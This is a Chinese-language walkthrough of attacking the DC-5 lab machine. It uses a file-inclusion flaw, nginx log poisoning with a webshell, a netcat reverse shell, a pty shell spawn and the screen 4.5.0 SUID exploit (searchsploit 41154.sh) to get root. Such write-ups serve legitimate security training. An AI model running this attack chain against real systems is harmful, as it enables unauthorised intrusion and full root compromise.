DC-5靶机渗透测试（文件包含漏洞）

目录

一、 环境

二、信息收集

1、主机发现&端口扫描

2、访问80端口

3、尝试提交留言，刷新页面，“Copyright © 2017”动态变化

 4、dirsearch 扫描敏感目录

五、渗透测试开始

1、调用file协议查看一下网站目录，发现能够成功读取目录储存文件

2、改包，写入一句话木马 

3、查看日志文件，木马写入成功。

4、蚁剑连接

5、nc 反弹shell

​6、进入交互模式

7、用find查看suid是否有可执行的文件

8、screen提权

01. 找到漏洞脚本，下载

02. 判断文件格式 

 03. 按脚本内提示步骤，进行提权

 04.将编辑好的dc5.sh上传到蚁剑，执行命令，获取root权限

9、获取root权限，拿到flag

---

一、 环境

靶机： 192.168.1.127

攻击机：192.168.1.209

二、信息收集

1、主机发现&端口扫描

nmap -sP 192.168.1.0/24  #发现存活主机
nmap -sS A 192.168.1.127  #开放端口

2、访问80端口

3、尝试提交留言，刷新页面，“Copyright © 2017”动态变化

刷新页面，“Copyright © 2017”动态变化

 4、dirsearch 扫描敏感目录

dirsearch -u "http://192.168.1.127:80"

爆破出网站子域名，进入web页面继续信息收集，观察获取shell的方式 

逐个尝试，发现footer.php文件出现动态变化，猜想是thankkyou.php调用footer.php，可能存在文件包含漏洞。

五、渗透测试开始

1、调用file协议查看一下网站目录，发现能够成功读取目录储存文件

查看你passwd文件发下并没什么可用的，没有发现可登录用户，换个方式。
nmap扫描服务器版本为nginx 1.6.2，服务器的日志存放在/var/log/nginx/error.log。file写入命令传输，发现都会被日志给记录下来。
那么我们可以尝试通过file传递写入反弹shell，监听靶机。

2、改包，写入一句话木马 

3、查看日志文件，木马写入成功。

4、蚁剑连接

5、nc 反弹shell

6、进入交互模式

python -c 'import pty;pty.spawn("/bin/bash")' ##获取交互式shell

7、用find查看suid是否有可执行的文件

#查看suid是否有可执行的文件
find / –perm /4000 –print 2>/dev/null
#找特殊执行权限的文件，将错误输出到/dev/null下，/dev/null相当于linux中无底的垃圾桶

#查看suid文件夹
find / -perm -u=s -type f 2>/dev/null 

 screen-4.5.0存在漏洞

8、screen提权

01. 找到漏洞脚本，下载

searchsploit scree 4.5.0
searchsploit -m 41154.sh 

02. 判断文件格式 

#判断文件是dos格式还是unix格式
#使用vim打开文件，输入:set ff?。根据返回结果可以文件类型
如果是dos格式，需要转化为unix格式
dos2unix 41154.sh

 03. 按脚本内提示步骤，进行提权

编译两个文件

vim libhax.c
gcc -fPIC -shared -ldl -o libhax.so libhax.c #单独保存并编译
vim rootshell.c
gcc -o rootshell rootshell.c
vim dc5.sh

 04.将编辑好的dc5.sh上传到蚁剑，执行命令，获取root权限

chmod +x dc5.sh
cd /tmp
./dc5.sh

9、获取root权限，拿到flag